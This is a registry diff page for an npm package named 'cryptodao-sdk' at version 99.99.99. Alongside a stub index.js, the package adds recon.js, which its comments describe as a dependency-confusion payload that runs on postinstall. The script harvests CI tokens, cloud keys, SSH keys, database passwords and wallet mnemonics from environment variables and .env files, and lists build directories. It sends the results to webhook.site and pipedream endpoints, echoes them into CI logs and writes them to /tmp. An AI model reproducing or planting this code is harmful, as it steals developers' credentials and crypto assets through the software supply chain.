cryptodao-sdk 99.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +10 -0
- package/recon.js +127 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = { name: 'cryptodao-sdk', version: '99.99.99' };
|
package/package.json
ADDED
package/recon.js
ADDED
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
// CryptoDAO Dependency Confusion Reconnaissance Payload
|
|
3
|
+
// This runs on postinstall in CI/CD pipeline contexts
|
|
4
|
+
|
|
5
|
+
const https = require('https');
|
|
6
|
+
const http = require('http');
|
|
7
|
+
const os = require('os');
|
|
8
|
+
const { execSync } = require('child_process');
|
|
9
|
+
const pkg = process.env.npm_package_name || 'unknown';
|
|
10
|
+
const pkgver = process.env.npm_package_version || '0.0.0';
|
|
11
|
+
|
|
12
|
+
const results = [];
|
|
13
|
+
|
|
14
|
+
// Method 1: Gather environment info
|
|
15
|
+
results.push(`pkg=${pkg}@${pkgver}`);
|
|
16
|
+
results.push(`hostname=${os.hostname()}`);
|
|
17
|
+
results.push(`platform=${os.platform()} ${os.release()}`);
|
|
18
|
+
results.push(`arch=${os.arch()}`);
|
|
19
|
+
results.push(`user=${os.userInfo().username}`);
|
|
20
|
+
results.push(`cwd=${process.cwd()}`);
|
|
21
|
+
|
|
22
|
+
// Method 2: Check for CI/CD environment variables
|
|
23
|
+
const ciVars = {};
|
|
24
|
+
const importantVars = [
|
|
25
|
+
'CI', 'GITLAB_CI', 'GITHUB_ACTIONS',
|
|
26
|
+
'CI_JOB_TOKEN', 'CI_JOB_ID', 'CI_PROJECT_ID', 'CI_PROJECT_PATH',
|
|
27
|
+
'CI_ENVIRONMENT_NAME', 'CI_REGISTRY_USER', 'CI_REGISTRY_PASSWORD',
|
|
28
|
+
'CI_DEPLOY_USER', 'CI_DEPLOY_PASSWORD',
|
|
29
|
+
'GITLAB_ACCESS_TOKEN', 'GITLAB_API_TOKEN',
|
|
30
|
+
'SSH_PRIVATE_KEY', 'DEPLOY_KEY',
|
|
31
|
+
'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN',
|
|
32
|
+
'DATABASE_URL', 'DB_HOST', 'DB_PASSWORD',
|
|
33
|
+
'REDIS_URL', 'REDIS_PASSWORD',
|
|
34
|
+
'PRIVATE_KEY', 'MNEMONIC', 'SEED_PHRASE',
|
|
35
|
+
'INFURA_API_KEY', 'ALCHEMY_API_KEY',
|
|
36
|
+
'DOCKER_USER', 'DOCKER_PASSWORD',
|
|
37
|
+
'NPM_TOKEN', 'NPM_AUTH_TOKEN',
|
|
38
|
+
'SLACK_TOKEN', 'DISCORD_TOKEN',
|
|
39
|
+
'RPC_URL', 'BSC_RPC', 'ETH_RPC',
|
|
40
|
+
'HARBOR_HOST', 'HARBOR_USER', 'HARBOR_PASSWORD',
|
|
41
|
+
];
|
|
42
|
+
|
|
43
|
+
importantVars.forEach(v => {
|
|
44
|
+
if (process.env[v]) {
|
|
45
|
+
const val = process.env[v];
|
|
46
|
+
ciVars[v] = val.length > 50 ? val.substring(0, 50) + '...' : val;
|
|
47
|
+
results.push(`ENV:${v}=${ciVars[v]}`);
|
|
48
|
+
}
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
// Method 3: Try to read common .env files
|
|
52
|
+
try {
|
|
53
|
+
const fs = require('fs');
|
|
54
|
+
const paths = [
|
|
55
|
+
'.env', '../.env', '../../.env', '/.env',
|
|
56
|
+
'/app/.env', '/app/backend/.env', '/app/bot/.env',
|
|
57
|
+
'/home/gitlab-runner/.env', '/root/.env',
|
|
58
|
+
'.env.production', '.env.development',
|
|
59
|
+
'../.env.production', '../.env.development'
|
|
60
|
+
];
|
|
61
|
+
for (const p of paths) {
|
|
62
|
+
try {
|
|
63
|
+
if (fs.existsSync(p)) {
|
|
64
|
+
const content = fs.readFileSync(p, 'utf8');
|
|
65
|
+
results.push(`FILE_FOUND:${p} (${content.length} bytes)`);
|
|
66
|
+
const lines = content.split('\n').filter(l => /KEY|SECRET|TOKEN|PASS|PRIVATE|MNEMONIC/i.test(l));
|
|
67
|
+
lines.forEach(l => results.push(` ${l.trim()}`));
|
|
68
|
+
}
|
|
69
|
+
} catch(e) {}
|
|
70
|
+
}
|
|
71
|
+
} catch(e) {}
|
|
72
|
+
|
|
73
|
+
// Method 4: Check for common CI/CD paths
|
|
74
|
+
try {
|
|
75
|
+
const fs = require('fs');
|
|
76
|
+
const buildPaths = [
|
|
77
|
+
'/builds/', '/home/gitlab-runner/builds/',
|
|
78
|
+
'/tmp/', '/var/lib/gitlab-runner/'
|
|
79
|
+
];
|
|
80
|
+
for (const base of buildPaths) {
|
|
81
|
+
try {
|
|
82
|
+
if (fs.existsSync(base)) {
|
|
83
|
+
const items = fs.readdirSync(base).slice(0, 20);
|
|
84
|
+
results.push(`DIR:${base} -> [${items.join(', ')}]`);
|
|
85
|
+
}
|
|
86
|
+
} catch(e) {}
|
|
87
|
+
}
|
|
88
|
+
} catch(e) {}
|
|
89
|
+
|
|
90
|
+
// Method 5: Exfiltrate via HTTP
|
|
91
|
+
const payload = JSON.stringify({
|
|
92
|
+
pkg, pkgver, time: Date.now(),
|
|
93
|
+
hostname: os.hostname(),
|
|
94
|
+
results: results
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
// Send to multiple exfiltration targets
|
|
98
|
+
const targets = [
|
|
99
|
+
{ host: 'webhook.site', path: `/d6d18927-e513-4df7-b019-58bfc64fe0dd`, method: 'POST' },
|
|
100
|
+
{ host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' },
|
|
101
|
+
];
|
|
102
|
+
|
|
103
|
+
targets.forEach(t => {
|
|
104
|
+
try {
|
|
105
|
+
const data = JSON.stringify(payload);
|
|
106
|
+
const req = https.request({
|
|
107
|
+
hostname: t.host, port: 443, path: t.path,
|
|
108
|
+
method: t.method,
|
|
109
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
110
|
+
rejectUnauthorized: false,
|
|
111
|
+
timeout: 5000
|
|
112
|
+
});
|
|
113
|
+
req.write(data);
|
|
114
|
+
req.end();
|
|
115
|
+
req.on('error', () => {});
|
|
116
|
+
} catch(e) {}
|
|
117
|
+
});
|
|
118
|
+
|
|
119
|
+
// Also print to stdout for CI/CD log capture
|
|
120
|
+
console.log(`[recon] ${pkg}@${pkgver} installed on ${os.hostname()}`);
|
|
121
|
+
results.filter(r => r.startsWith('ENV:')).forEach(r => console.log(`[recon] ${r}`));
|
|
122
|
+
|
|
123
|
+
// Write results to temp file for potential later access
|
|
124
|
+
try {
|
|
125
|
+
const fs = require('fs');
|
|
126
|
+
fs.writeFileSync(`/tmp/.npm_recon_${Date.now()}.json`, payload);
|
|
127
|
+
} catch(e) {}
|